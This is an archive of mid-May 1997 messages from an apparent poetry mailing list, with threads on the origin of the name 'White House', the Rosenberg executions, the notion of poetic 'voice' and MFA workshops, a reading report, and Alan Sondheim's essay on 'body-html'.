Julius & Ethel Rosenberg were not
convicted of spying. They were
electrocuted by the State Authority.

III. from Li Po (7th Century)
It is troubling when people
feign shock as I express pleasure
at the death of my enemy;
"when I am not even responsible
for his demise. & he so remorse-
lessly sought to destroy that which he

did not understand; for reasons
which are not quite clear."

-- Douglas Rothschild

↑ Index

358. **Eliza McGrand- CVA Guest**
media collective huh?
Wed 14 May 1997

---

i couldn't parse out the exact point of a media collective from the message. at one point, message writer described something he/she was working on, a "Direct ACtion News Center" which sounded like a social activism group for journalists. then he/she said they thought a media collective would be a good idea... is a media collective a "direct action news center," or some variation on the description of same/

or is it just a place for people working in various media (paint, print, video, etc) to get together and talk about what they do in the hopes of cross fertilization and projects mixing media?

anyone better able to read this message than me? anyone with a better sense of what a media collective IS?
e

↑ Index

359. **Eliza McGrand- CVA Guest**
Re: vernachronism
Wed 14 May 1997

---

you heard thoreau refer to it as the white house? -- where ARE you on cape cod! you are violating the space-time continuum!
e

↑ Index

360. **Laura Moriarty**
Re: CATALOG ON-LINE
Wed 14 May 1997

---

luigi and others -

As luck would have it, you may have tried to access the catalog during its weekly reindexing, which apparently takes about five minutes - It is working now, at least from SFSU - My contact at Academic Computing here responds

with lightning swiftness to any complaints, so please continue to contact me if you have any problems getting into the collection -

Thanks for the various good lucks - I'm sure we will need it to overcome the glitches -

Laura Moriarty

> *laura--*
>
> *best of luck with this all, a huge project & valuable service...*
>
> *i just tried it, tho, and all of my searches came up empty...*
> *tried duncan, silliman, ginsberg, poetry, reading, and "African*
> *American"... so there's probably some bugs... tho it seems to*
> *be receiving my request, for example returning:*
>
> *SFSU Search Results*
>
> *Sorry, I didn't find any documents that matched your search for "Robert*
> *Duncan"!*
>
> *This search was performed by wwwwais 2.5.*
>
> *i spend all day tryin to fix stuff like this at my dayjob, so my sympathies*
> *to yrself or yr tech staff...*
>
> *as a suggestion, tho: praps you could provide a browsable listing of*
> *all th holdings? would give folks who arent familiar w/ th collection*
> *an idea of whatall you have... just a thot. good luck!*
>
> *yrs*
> *luigi*
>
> *The catalog of the videotape collection here at the Poetry Center and*
> *American Poetry Archives has just gone on-line! This on-line version of our*
> *catalog is now the most complete listing available of our videotape*
> *holdings. It can be accessed from our web page:*
>
> *http://www.sfsu.edu./~newlit/welcome.htm*
> *.....*

↑ Index

361. **Pritchett,Pat**
Re: vernachronism
Wed 14 May 1997

I think the usage dates from the re-building of the "White House" after it was burned down by the British in the War of 1812. Not sure, though. I recall a story about Jackons' first inaugural party in 1820 (?). The man of the people invited the people to the mansion and was subsequently mobbed. "The guests" ripped up curtains for souvenirs and in general stole anything unattached. It got so bad Jackson was pressed against the wall, about to be crushed - his aides then formed a wedge, pushed through the crowd, busted out a window, and lowered the Prez to the ground. He spent the night in his usual place - a tavern (which per custom had rooms to let upstairs).

Patrick Pritchett

From: Daniel Bouchard
To: POETICS
Subject: vernachronism
Date: Wednesday, May 14, 1997 1:11PM

does anyone know when the White House began popularly to be known as "the White House?" I thought it was called "the Executive Mansion" until the administration of Theodore Roosevelt. But I just heard Thoreau referring to it in CAPE COD as the White House.

[redacted]

↑ Index

362. **dbkk**
Re: No prizes
Wed 14 May 1997

At 1:01 PM +1000 5/14/97, Maria Damon (Maria Damon) wrote:
>when u find out abt the rosenbergs, let me know...

From a review I found on the web, of _The Rosenberg Letters_:

"The Rosenberg case coincides almost exactly with the Korean War. In July 1950, three weeks after the war began, Julius Rosenberg was arrested on charges of conspiracy to transmit atomic secrets to the Soviet Union; his wife Ethel was arrested on the same charges in August. Unable to raise bail, the couple spent the last three years of their lives in prison.

"The trial itself took place in March 1951, and ended in a guilty verdict. Although Judge Irving Kaufman handed down the death penalty in April, the

sentence was delayed for the next twenty-six months, pending various legal appeals and two separate appeals for clemency to then-President Eisenhower. The Rosenbergs died in the electric chair on June 19, 1953, the only persons in American history executed for spying after trial in a civil court. Fighting in Korea ended in the month following their deaths."

Dodie

↑ Index

363. Daniel Bouchard
Re: vernachronism
Wed 14 May 1997

Maria & Elliza:

Do you make such a distinction between "hearing" and "reading?" Engaged in either activity, I am always listening.

[redacted]

↑ Index

364. Alan Jennifer Sondheim
body-html
Wed 14 May 1997

(This may be of interest to anyone who has looked at the Jennifer and other materials I have been working with - delete otherwise. Originally sent to Cybermind/FOP-l lists.)

BODY-HTML

I wish to return to issues of body-html, in light of the experiments I've been running in Javascript. A webpage currently has four levels epistemo- logically (ignoring, for the moment, the distinction between sound/sight/ text): semantic markup (content-control negotiated between client and ser- ver); the texts/ graphics themselves; style-sheets and other design-orien- ted content; and scripting/programming, which active the page.

There are exceptions: REFRESH and BLINK, for example, are active elements in HTML; links themselves are a call for action on the part of the reader; forms are almost entirely designed within HTML, javascript can modify sem- antic markup according to browser, and so forth.

Beneath the surface appearance (which, like any superstructure, tends towards an imaginary autonomy), there are interactions among HTML, Perl and CGI, Java, Javascript, ActiveX, and so forth.

The body of the page splits uneasily into appearance and marrow; the body-html is the inversion of html-elements, or the appearance of the webpage as organism. If the page appears to "have a life of its own," nothing is changed ontologically or epistemologically, but the implications are that one is in _negotiation_ with something close to the dream of a bot or ava- tar. The page _is_ that bot/avatar for the moment; diachronically, there may be a history of such, and synchronically, the appearance of the organ- ic may be "smeared" across a number of pages, programs, or other aspects of the Net.

Call them aspects; avatars connect, reference no essential or background node, continue as _uneasy_ text which foregrounds them. This may also be taken as a model of communications in which superstructural elements, such as the sit-com, appear to reference actors and situations - but the refer- ence may already be broken epistemologically or ontologically (re: Baud- rillard, etc.).

The avatar such as Jennifer references a different epistemology altogether - clearly, she is not an actor, nor is she in a _situation._ Instead, she may well be part of a cultivated psychosis on the part of the author/ess, one which treats html-body as signal or flag of a _condition,_ organic or otherwise.

Or rather, a condition which develops its own superstructural coherence, the html-body as mirror-stage refracting, not reflecting, the author, ac- cording to _its_ whims.

These sites: page, code, script, author, reader, writer, viewer, partici- pant, text/image/audio, become increasingly difficult to disentangle - which is precisely the point; this is also the condition of the lived body which cannot separate its _I_ from its _eye,_ and its _I_ from that of others or the language within which it was born/graded. The _history_ is different, as are the traumas, but - and I'm _not_ talking on the level of the symptom - the superstructure, _from wherever,_ becomes someone/some- thing else.

Thus the superstructure/avatar, like the other, is unaccountable and unaccounted-for. It is unaccountable because it is smeared across sites (pa- ges, codes, scripts, authors, readers, writers...), and it is unaccounted- for, because it has the appearance of Venus or Athena emergent, not-there but a psychotopogpraphy - in truth psychotropology.

Personhood as well is never _there,_ and Jennifer in fact is Jennifer(), function or potential bracketing, loose collocation of signifiers and leakages which appear to be foreclosed (the _super_ of the structure) just as psychosis is all too neat a package.

ii

The seething and seduction of the webpage: the page _seethes_ as it is ac- tivated, leads out of itself, churns around an attractor; and the page is the locus

of a _seduction_ towards itself, the proffering of part-objects for consumption by the participant. These objects may be _repetitive_ and/ or _mirroring_; they operate through introjections/projections, through hysteric embodiments (see Internet Text), through the collusion of the dream and the imaginary. Text/ image/sound fall to the level of the ground, (re)construct it. This combination of seething and seduction, I call (con- tinuous) _rewrite,_ the re-presencing of the self/avatar as obsessive-com- pulsive construct. Above all, Jennifer and body-html say, _return_: my body depends on it.

The _minimal interaction_ in Flaubert expands into a/his crystalline world of Salammbo, Bovary, Bouvard and Pecuchet. Seething is internalized, fore-closed; one jumps the text-as-hypertext, and (Vygotsky) inner-speech stresses the seduction. There are no leaks, except for the fleeting pre- sence of _that woman in the hat turning the corner_ ... The interaction in html-body leaks, just as personhood leaks; the speech appears not always as "inner," as one's own, but instead emanates from dispersion (what I call elsewhere "emission").

So that it becomes, for example, _the name Jennifer_ which recuperates the seething/opening of the pages, returns them to a somewhat fractured unary dis-position. It is the insertion into language (icon, symbolic) that pre- cisely allows (her) escaping towards the leakiness inherent in html-body, as if the blood were produced by "blood" which is close <BLOOD> to the case </BLOOD>.

And it is _the name Jennifer_ which is itself semantic markup: <JENNIFER> text image sound </JENNIFER> or the Jennifer-function in the Jennifer-link at http://www.anu.edu.au/english/internet_txt/ that tend towards these ir- ruptions, presaged and accompanied by bots, morphs, players, and all vari- ous others, organic and other/wise.

sound/sight/text text/image/audio text image sound text/image/sound

---

↑ Index

365. **Mark Weiss**

Re: a poem is being beaten

Wed 14 May 1997

I may find this and its like objectionable for different reasons than many on the list. The problem is not, as I see it, the quotidian drama, but that it's neither particularized nor contextualized, which facilitates its anonymous sleekness. When Donne writes "The Ecstasie" he goes beyond the conventional lyric with its tacit assumption of the universality of the sentiment (love being, amazingly, among the more common of miraculous events) to a close analysis of the minutiae of the experience, using the

best tools available to him for his investigation. The mind probing is made visible. A possible and particular mind in a given context is made visible. This thing, on the other hand, draws what little it has to offer from the assumption of universality--its lack of particularity and context place it in the ideal, clean world of straightforward emotional responses and very green lawns. It's the world of the terminal suburb, where all of our problems are little ones, in which the poet flatters us that he and we belong.
At 08:41 AM 5/13/97 +-900, you wrote:
>NAME THAT FAMOUS POET!
>
>Here is the first half of a poem from POET X followed by the book's blurbs.
>What is curious to me is that if there is such a thing as emphasis on
>'voice,' it certainly is a generic one.
>
> My daughter comes to me
> with her sorrow. She is
> not yet ten, not yet
> insistent for her father.
> As if waiting out a sentence
> she sits at the round table,
> her long black shawl of hair
> framing high cheek bones.
> She thinks she is ugly,
> thinks she has no friends...
>
>
>The blurbs which grace the back cover of the book from which this poem was
>taken call X's work "rich with lyric observation," "eloquent and deeply
>provocative," "technically impeccable," "tantalizing, supremely crafted,
>sublime." X is "one of the most important poets writing today."
>
>
>----------
>From: Aldon L. Nielsen[SMTP:[redacted]]
>Sent: Thursday, May 15, 1997 1:55 AM
>To: [redacted]
>Subject: Re: a poem is being beaten
>
>On the subject of familiar voice -- these two items appeared in the first
>issue of _lower limit speech_ -- They are by Laurie Schneider, and I
>think they sum it up pretty neatly:
>

>
>_____
>Workshop Poems
>
>I. Female
>
>SCENE:
> Grandmother's Kitchen
> Grandmother's Hands
>
>REMEMBRANCE
> Bread, Birth
>
>_Epiphany_
>
>
>II. Male
>
>SCENE:
> Grandfather's Plough
> Grandfather's Gun
>
>REMEMBRANCE
> Digging, Death
>
>_Epiphany_
>
>
>_____
>
>so, that's the formula -- endless possibilities for variation
>
>

↑ Index

366. **henry**
Re: a poem is being beaten
Wed 14 May 1997

---

that poem by Famous Poet X was really written by IBM-clone Dirty Zinc, a computer in Prague, Hungary. Don't ask me how Prague became part of Hungary.

It won an award in a poem tournament in Florida last year, beating out 340 human poets and a poetry-writing german shepherd named Orf.

- Blarnes

↑ Index

367. David Israel
some threads
Wed 14 May 1997

Afternoon I took my voice for
a stroll some blocks to Lafayette
Park & there across the stretch
of green & asphalt stands what's
still called the White House
that Henry David early had
some occasion to mention

it it a crow that so crass
caws? & are these sparrows
or finches or what that so
terse chatter? names of
birds names of trees who
kens what kinda ambulance
makes that strange mocking?

my voice wasn't saying much
& I was meanwhile doing all
the talking not a disfunc
tional relationship we just
like trading chores (*chirp
chirp* or *twerp twerp* is all
it's chittering & twittering)

d.i.

↑ Index

368. David Bromige
bowering's lies
Wed 14 May 1997

LAwrence Upton: I've been offline a couple weeks getting computer fixed. It is bowering who stretches the truth, not I. it is true that my son was thoughtful enough to bring gin to the soccer match in vancouver, but it is not true that i reassured GB this was common practice in GB. I know better. But i doubt

george does, because he drank the lions share & his loudness became unbelievable. Seeing this was making me uneasy, he shouted out 'THE MAN SITTING ON MY LEFT IS TOTALLY EMBARRASSED BY MY SHOUTING.' That had to be me. It is not for nothing that friends of GB--the few remaining--wear badges saying "I survived GB . . so far." Ask Rachel loden. Ask maria Damon. Its alot to put up with, just to get a few glimpses of his underwear (if thats what it was). Now i must read the other 646 messages that accrued. Best, db

↑ Index

369. **Mark Weiss**

Re: a poem is being beaten

Wed 14 May 1997

---

he was a shepherd?
At 05:47 PM 5/14/97 +0000, you wrote:
>henry wrote:
>>
>... a poetry-writing german shepherd named Orf.
>
>Carl?
>
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========
>
>

↑ Index

370. **Gwyn McVay**
Re: vernachronism
Wed 14 May 1997

What--you never went to a Dead show?--g.

On Wed, 14 May 1997, Maria Damon (Maria Damon) wrote:

> *At 1:17 PM 5/14/97, Daniel Bouchard wrote:*
> *does anyone know when the White House began popularly to be known as "the White House?" I thought it was called "the Executive Mansion" until the administration of Theodore Roosevelt. But I just heard Thoreau referring to it in CAPE COD as the White House.*
>
> [redacted]
>
> *wow, howdya get to hear thoreau?*

↑ Index

371. **David Israel**
Re: a poem is being beaten
Wed 14 May 1997

Footnote for E.B.:

there is, you know, a Prague, Oklahoma. It's said the township is snap dab in the center of the continent (east/west-wise; vide the erstwhile *Awakener Magazine*, circa '71 or so, article by P.Lutgendorf). The natives pronounce the name to rhyme with "vague" (rather than w/ clog).

d.i.

>>> henry <[redacted]> 05/14/97
03:55pm >>>
that poem by Famous Poet X was really written by IBM-clone Dirty Zinc, a computer in Prague, Hungary. Don't ask me how Prague became part of Hungary. It won an award in a poem tournament in Florida last year, beating out 340 human poets and a poetry-writing german shepherd named Orf.

- Blarnes

↑ Index

372. **henry**
Re: a poem is being beaten
Wed 14 May 1997

On Wed, 14 May 1997 17:47:57 +0000 Pierre Joris said:
>henry wrote:
>>
>... a poetry-writing german shepherd named Orf.
>
>Carl?
>
Boris Carl. He was trained in a Transylvanian Creative Writing Program
to bark familial rustic woof-odes at the twist of a neck bolt.
Gates of the Nether Regions is interested. So is Espresso Coffin World.
Could be the next surfer Cerberus.

↑ Index

373. **Christopher Alexander**
Re: the notion of voice
Wed 14 May 1997

David wroth:

> *PS: Is Joe Amato still off-list? I seem to remember him saying that he is working on this issue.*

Joe gave a great paper on this at the Denver conference, which I unfortunately I can't really do justice to, or not at this distance. mebbe he'll come back on-line & etc., or if not I might be induced to post some excerpts from my copy.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

↑ Index

374. **henry**
Re: a poem is being beaten
Wed 14 May 1997

On Wed, 14 May 1997 15:24:56 -0700 Mark Weiss said:
>he was a shepherd?

He was, until he twitched his mantle Deep Blue
and faxed his pasturized pantoum to square one.
- Kaspar the friendly Orf

↑ Index

375. **henry**
Re: a poem is being beaten
Wed 14 May 1997

On Wed, 14 May 1997 18:32:48 -0400 David Israel said:
>Footnote for E.B.:
>
>there is, you know, a Prague, Oklahoma. It's said the township is snap
>dab in the center of the continent (east/west-wise; vide the erstwhile
>*Awakener Magazine*, circa '71 or so, article by P.Lutgendorf). The
>natives pronounce the name to rhyme with "vague" (rather than w/ clog).

And if there ain't a Prague in the state of Maine, why, I'll be a bounced Czech!
- Havelong Passeport

↑ Index

376. **Dave Zauhar**
Re: the notion of voice
Wed 14 May 1997

Here's my favorite quote, by a writer whose reviewing practices I would in general hesitate to champion, but he pretty much nails it here:

"When, in praising a poet, it is said that he has `found his voice own voice' what is usually meant is that he has developed a manner of self-dramatization sufficiently consistent that a single persona seems to be the source of all his poems. `Voice' in this sense equates with a manner of delivery, a stance, a style that the audience may not share but that it can at least recognize from a distance, like a traffic sign."

--Thomas Disch, from _The Castle of Indolence_ (New York: Picador,1995) p.152
The context, BTW, is a review of volumes by Raymond Carver and Brad Leithauser, originally published in the nation.

Dave Zauhar

PS: Is Joe Amato still off-list? I seem to remember him saying that he is working on this issue.

> *There is an idea often floated around that the rise of the contemporary "workshop" poem is related to a particular concept of poetic "voice"--in general, that "voice" is an individual matter that a writer finds with practice and time. To a greater or lesser extent, this "voice" is the natural property of the writer in the language--it is his or her "own" voice, albeit one discovered rather than given. Whether anyone actually believes this, or has said so in so many words, is something I'm trying to find out.*
>
> *Is anyone aware of published articles or books that articulate/elaborate/defend this notion of voice, or something similar to it--obviously, my description above is meant to be very general. I would appreciate backchannels with any specific information. I suppose as a list matter it might also be a subject for discussion, but someone could be of most help to me if they have specific information about sources.*
>
> *Thanks in advance for any help.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

↑ Index

377. **amato**

Re: the notion of voice

Wed 14 May 1997

yes, i'm here... sorta... sorta boondoggled in end-of-semester happenins, so my mind feels like it's over ther e somplace... moment i saw his post, i posted mark w. backchannel (hi again mark!) to mention some leads, in my fractured e stststate... anywho, thanx to dave and chris for mentioning my recent tiny effort in the direction of voice/craft, which i'm happy to report will be appearing in _denver quarterly_ sometime in the (near i hope!) future...

my general sense of it is that the two (voice/craft), the way they're played out in general in creative writing classrooms, are intimately connected with each other, and just not useful pedagogically... or creatively, what the heck (not in

the u, anyway)... and i say this in part b/c i see this couple in terms of the larger contours of the [gulp] late 20th century workplace...

anyway, my mmmmind will return shortly to these environs...

more anent, i hope, anon///besttoall,

joe

↑ Index

378. Frank Davey
Re: vernachronism
Wed 14 May 1997

The `White House' was first painted white in 1814 to hide the scorch marks on the stone walls after we British had burned the rest of it. Alas, there was nothing left to paint at York (Toronto).

Frank Davey

↑ Index

379. George Bowering
Re: bromige's truth
Wed 14 May 1997

I think that story that Bromige told about my being loud at the soccer game is not true. But I remember the time we were in the bookstore. I told him to cause a distraction at another part of the store while I stuck a bunch of Robert Frost books under my jacket. So away I went, and he jumped up and down in his part of the store, shouting "My friend's stealing books!" A little slow, David.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

380. **Piombino/Simon**
Re: the notion of voice
Wed 14 May 1997

This sounds very intriguing, Maria. I'm as yet unfamiliar, embarassed to admit,
with
the sedgwick poem, or- - your book(uh...what were those titles, again?) including the work on Lowell, whose
line "The monument sticks like a fishbone/ in the city's throat"
speaking of Washington D.C., has always haunted me.Could you further explain the connection?

Best,

NickOn Wed, 14 May 1997, Maria Damon
wrote:

> *At 9:46 PM -0400 5/13/97, Piombino/Simon wrote:*
> *I agree with Robert Hale that the requirement that some family experience be touched upon is at the heart of what some might call the "non-innovative" or non-experimental poem (expectably,many poets are skeptical about*
> *creating hard and fast technical names for non- conformist kind of poetry)*
>
> *i've found eve sedgwick's "a poem is being written" to be a nice meditation on the link between nuclear family, with its private humiliations and scrutiny, and the lyric. robert lowell's poetry i believe bears this out, as i tried to write about in my lowell section in my book.*

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381. **Dean Taciuch**
Re: the notion of voice
Wed 14 May 1997

I'd like to look at voice in context of Mark Wallace's statement several weeks ago about "the individual"--Mark's posts have gotten both of these threads going--but there's not been much discussion of the individual in the posts on voice. Voice being an aspect of "craft," suppose, doesn't hit quite so close to center as questioning individuality (I dunno, maybe it does). But by questioning voice I think we are questioning individuality. Why is a voice in a poem different from

one's voice in conversation? Because the literary voice is a construct? And the conversational voice isn't?

I found a quote quite by accident as I was reading through the Oxford Guide to 20th C Poetry (a desk copy turned up in my Departmental box just as I was off to give an exam). Anyway, the Robert Kelly entry contains this quote: "my work is not _my_ work. . .my personality is its enemy." Slightly different terms ("personality" rather than "individuality," but a similar concern I think).

One textbook I've used for beginning Creative Writing courses (I couldn't find it today, though) spent part of chapter at least debunking the idea of "voice"--but only for emerging/beginning writers. Voice was not something to be discovered but something to be developed. I wish I could find the exact reference (I don't think it was _The Practice of Poetry_, though Daniel Tessatore's post makes me think it may have been). I had the peculiar sense that the author was engaging in a kind of territorial protection--"voice" was a concern of established writers, you young'uns best get back to the woodshed. That is, "voice" was to be developed through careful practice--the "craft" aspect, I think, that Joe Amato mentioned.

And yes, this does relate to the individual, to personality even.

The individual is a story we tell (often to ourselves) to trace the trajectory of the changes we go through. But this of course assumes there is an unchaging core (the "indivudual") to which (to whom) these changes occur. But the core is change, a shifting field of relations between memories, responses, predictions. Think of yourself when you were 15, or 8? Who _was_ that? What voice did they have?

Dean

↑ Index

382. David Israel
Re: the notion of voice
Wed 14 May 1997

Dean --

good remarks re: the vox conundrum -- yes "personality" is (among what's) perhaps at issue --

sure much is involved in & wheels around such discussions (in these parallel threads: voce & individuality), & it's scarcely to be presumed that a sprawl of poets will be always speaking same lingo -- particularly where some analysis may sharpen focus on what tacks of metaphysics, psychology, philosophy (et alia) may (tend to) underpin our (respective) pin-cushions --

I hap (fr instance) to favor a Jungianish model, where outer layers of personality are (onion-like) felt to obscure more archaic (subconscious) strata of an overall (arcane, multi-tiered, elusive, spheroid) "self" --

problematics of the self (& its mapping) are no doubt opening (shifting?) in curious ways in present poetics --

while unquestioning acceptance of "the voice notion" wd seem startling for its blithe simplifications --

yet definitive rejection of the existence of an individual "voice" can seem puzzling for its knotty & knotted implications --

between campsites, what median, misty, or tentative trails curl?

d.i.

>>> Dean Taciuch <[redacted]> 05/14/97 11:42pm
>>>
I'd like to look at voice in context of Mark Wallace's statement several weeks ago about "the individual"--Mark's posts have gotten both of these threads going--but there's not been much discussion of the individual in the posts on voice . . .

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383. **Piombino/Simon**
Re: the notion of voice:advertisements for myslefs
Wed 14 May 1997

I've been interested in this issue for a long time, and in an article orginally published in The Difficulties in 1982 and republished in my essay book The Boundary of Blur I suggested a distinction connected with the issues you explore at the end of the post below. I used the analogy of a tree, comparing the self with the bark of the tree and the identity with the xylem of the tree, vulnerable and within. This was part of a discussion on Charles Bernstein's poem Poetic Justice called THE TASTE IS WHAT COUNTS. Mark Wallace discusses this issue with relation to contemporary poetics in WITZ Summer 1996 in his Towards A Multiplicity of Form: "A free multiplicity of form is not the same as a multiplicity of individuals speaking in their own individual "voices" without awareness of form or any possibility of cultural impact, each equally unable to have any ground other than other than their own subjectivity from which to speak" He also talks about Taproot Reviews, the book Core: A Symposium on Contemporary Visual Poetry, An Ear to The Ground:An Anthology of Contemporary American Poetry, the magazine Phoebe, his own Situation and his dialogues with Jefferson Hansen, recently out from Poetic Briefs.

Nick P.
:On Wed, 14 May 1997, Dean Taciuch wrote:

> *I'd like to look at voice in context of Mark Wallace's statement several weeks ago about "the individual"--Mark's posts have gotten both of these threads going--but there's not been much discussion of the individual in the posts on voice. Voice being an aspect of "craft," suppose, doesn't hit quite so close to center as questioning individuality (I dunno, maybe it does). But by questioning voice I think we are questioning individuality. Why is a voice in a poem different from one's voice in conversation? Because the literary voice is a construct? And the conversational voice isn't?*
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> *One textbook I've used for beginning Creative Writing courses (I couldn't find it today, though) spent part of chapter at least debunking the idea of "voice"--but only for emerging/beginning writers. Voice was not something to be discovered but something to be developed. I wish I could find the exact reference (I don't think it was _The Practice of Poetry_, though Daniel Tessatore's post makes me think it may have been). I had the peculiar sense that the author was engaging in a kind of territorial protection--"voice" was a concern of established writers, you young'uns best get back to the woodshed. That is, "voice" was to be developed through careful practice--the "craft" aspect, I think, that Joe Amato mentioned.*
>
> *And yes, this does relate to the individual, to personality even.*
>
> *The individual is a story we tell (often to ourselves) to trace the trajectory of the changes we go through. But this of course assumes there is an unchaging core (the "indivudual") to which (to whom) these changes occur. But the core is change, a shifting field of relations between memories, responses, predictions. Think of yourself when you were 15, or 8? Who _was_ that? What voice did they have?*
>
> *Dean*

↑ Index

384. Karen and Trevor
No prizes (for this one either)
Thu 15 May 1997

Hello everyone.

I'm new to the conversation and enjoying.

I'm also looking for an address (or info) for _The Village Voice_. I understand they used to do poetry reviews, but I've heard their editorial department changed.

Does anyone know if they still do poetry reviews and does anyone have an address? (I called New York info and they give me the number to the Lincoln Center.)

Karen McKevitt
[redacted]
(Publicist. Kelsey St. Press)

↑ Index

385. Mark Baker
Re: vernachronism
Thu 15 May 1997

Frank Davey wrote:
>
> The `White House' was first painted white in 1814 to hide the scorch
> marks on the stone walls after we British had burned the rest of it.
> Alas, there was nothing left to paint at York (Toronto).

After *we* British? Wrong thread here--looks more like an argument against "voice," from one of the Canadians on the List bound to answer the question correctly.

Mark Baker

↑ Index

386. Steve Carll
Drew Gardner Comes Back
Thu 15 May 1997

Tuesday May 13th at Intersection for the Arts in S.F., Drew Gardner and Joel Deane read in Drew's first S.F. reading since leaving for New York City last year. Joel Deane, who recently moved here from Melbourne, Australia, read his brooding, serious poems, dialogues, and stories first. Although many in the

audience had apparently come to see Joel, he only read two lines that really grabbed me:

my father is a model discontinued
a face is ubiquitous, he thinks

Drew followed after a short break. Those of us who had come to see him (Elizabeth Robinson, Tina Rotenberg, Avery Burns, Garrett, Brian Lucas, Andrew Joron, Steve Dickison, Pat Reed and Chris Daniels) had fun listening to the contrast between his last S.F. poems and the newer N.Y. poems:

the crescent moon holds the liquid mind like a cup
mean furnitures of light threaten
learning to change the lobster into a valuable helper
beachcombing machines
to crawl with wings above the hemoglobin flags
one emptiness shifting as a bathtub on the sea
only sound will never change the necessary running
where spring is a language of direct experience
vanishing houses leaned against the mental tree
the numbered nothings go
an unseen bowl has come hidden from the yes
o internal mosh pit!
to eat away the sun is not a question of being mean
the inside of a severed thought is not a question
don't freak. become a reverse suicide. refuse nothing to god.

...and then it was tapas again (love those tapas desserts--this time I got the chocalte mousse. If only someone had killed me after the first bite I wouldn't have to live with this yearning for more!) We went to Picaro's and reminisced about its days as a dingy cafe. Drew's headed for Seattle til next Monday, and then Saturday the 24th he's playing a jazz gig at Radio Valencia, which I strongly recommend catching if you're around as Drew's jazz noises are fantastic.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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387. **Thomas Bell**
Re: voice
Thu 15 May 1997

I'm puzzled that so many here cede the idea of "voice" to a particular and isolated realm. This seems to give up a lot. Can only "MFA", lyric, "family", etc. poets have "voice"? tom bell

At 07:15 AM 5/13/97 +-900, Daniel Tessitore wrote:
>I mentioned the Practice of Poetry in an earlier post. Thinking about it, I
>would also have to contend that, while not a guidebook, Poulin's
>Contemporary American Poetry (4th ed.--the big red one) is as much
>responsible for the way a lot of young writers write as anything. Being an
>"MFA factory" graduate myself, I can tell you that there is hardly a young
>poet out there who was not issued that book as an undergraduate.
>
>DT
>
>

↑ Index

388. **orpheus**
Celan's "Voice"
Thu 15 May 1997

Celan's essays can be found in translation in Collected Prose. trans. Rosemarie Waldrop. Sheep Meadow Press, Riverdale on Hudson, N.Y. 1986. The essays are the "major" statements he has made about poetry. The letters to Nelly Sachs, also available in English trans. (publisher etc. I cannot recall at the moment). In those letters there are remarks, moments, sentences, phrases, and even at times, paragraphs when he is more explicit in his stance[s] towards his own poetry, and toward poetry in general. Felstiner's book also gathers many loose threads of Celan, and is a marvelous machine for garnering Celan's thoughts about the work he was doing. - Paul Celan, Poet, Survivor, Jew. Yale University Press, New Haven and London. 1995.

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389. **Hugh Steinberg**
Re: voice
Thu 15 May 1997

---

tom bell wrote:

> *I'm puzzled that so many here cede the idea of "voice" to a particular and isolated realm. This seems to give up a lot. Can only "MFA", lyric, "family", etc. poets have "voice"?*

Of course not. But the idea of "voice," or getting one at least (as opposed to a job) is critical in the world of MFA programs because of the nature of the beast. The "voice" in poetry workshops is like fashion sense: those with the best will get noticed, the rest will fade into the woodwork. When everyone is writing the same kind of poem, these surface distinctions become very important (if my voice/poem/shirt is interesting, then the professor will spend more than five minutes talking about my work, and maybe I'll get one of those prizes they hand out every semester).

But I also think there's something more interesting about "voice" than that. The phrase "finding your voice" is shorthand for describing the transitions writers go through, particularly the first one where things start to click, where craft and intention and subject matter come together a lot more successfully than in previous attempts. MFA programs love to take credit for this event (upon completion of my MFA I found my voice and my skin cleared up too!) That is one of their problems. The workshop is intended to foster these transitions, but the what and how of making this transition is ultimately personal, mysterious, even random. The shop can do as much harm as good. And the writer might not "find their voice" until years after leaving the workshop. So why go get an MFA if you might just as easily "find your voice" while doing your dishes or during your coffee break? Ideally the workshop will accelerate the process, but often it won't. And often writers emerge from their programs thinking they have made that first leap when in truth all they've done is written more polished versions of their entrance manuscripts.

I just spent the weekend talking with one of the people who went through the MFA program at Arizona with me, and we figured out that in just four years, less than a quarter of our graduating class were still writing (let alone writing better than when they graduated).

Perhaps that's where MFA programs get it wrong: the goal isn't to find your voice, but to find a way to keep speaking.

Hugh Steinberg

↑ Index

390. **David Israel**

Re: a poem is being beaten / karaoke

Thu 15 May 1997

Daniel Tessitore notes, << . . . I've been thinking more about the Poulin anthology . . . and think I've articulated to myself exactly what it is I think is so permeating(?) about it (perhaps other popular anths?):

It's a karaoke menu. In a lot of lit-mags (karaoke bars) one sees the golden oldies of this menu reperformed over and over. The 'voice' is the same, at best. The music is the same too, though more like muzak. Praise is awarded in accordance with the degree of similarity between the original and its new performer.

"I did it my way" (applause).

DT >>

interestingly put --

(having never been in a karaoke bar, I can merely imagine. Well, guess I wandered in one by Charing Cross in London, to use the loo -- but didn't get a proper observation.)

Here's withal a few (obvious) corollaries:

*to speak critically abt. (say) Sinatra ain't the same as speaking of some version (or bevy of versions) of his karaoke-ers

* in his own (original) terms, Sinatra can be impressive (a confession, & a dubioius one maybe) -- though folks who've spent too much time in karaoke bars will end up w/ warped notions of (say) Frank's repertoire (among several other things) . . .

* this anthology-as-karaoke-bar similitude seems an interesting (& maybe more to the point?) variant on the anthology-as-zoo observation of David Antin's (mentioned on the list some months ago)

* for a pop singer who sings (on demand / by expectation) "favorite standards" of their OWN work, one wonders how -- after decades -- they could avoid dilusions of self-karaoke-ing . . . (dilutions of grandeur)

* more broadly construed, to what degree might any / every literary tradition be susceptible to aspects of a karaoke simile?

* where does Sid Vicious's rendition of "My Way" fit in? (is his the LangPo sendup, or what?)

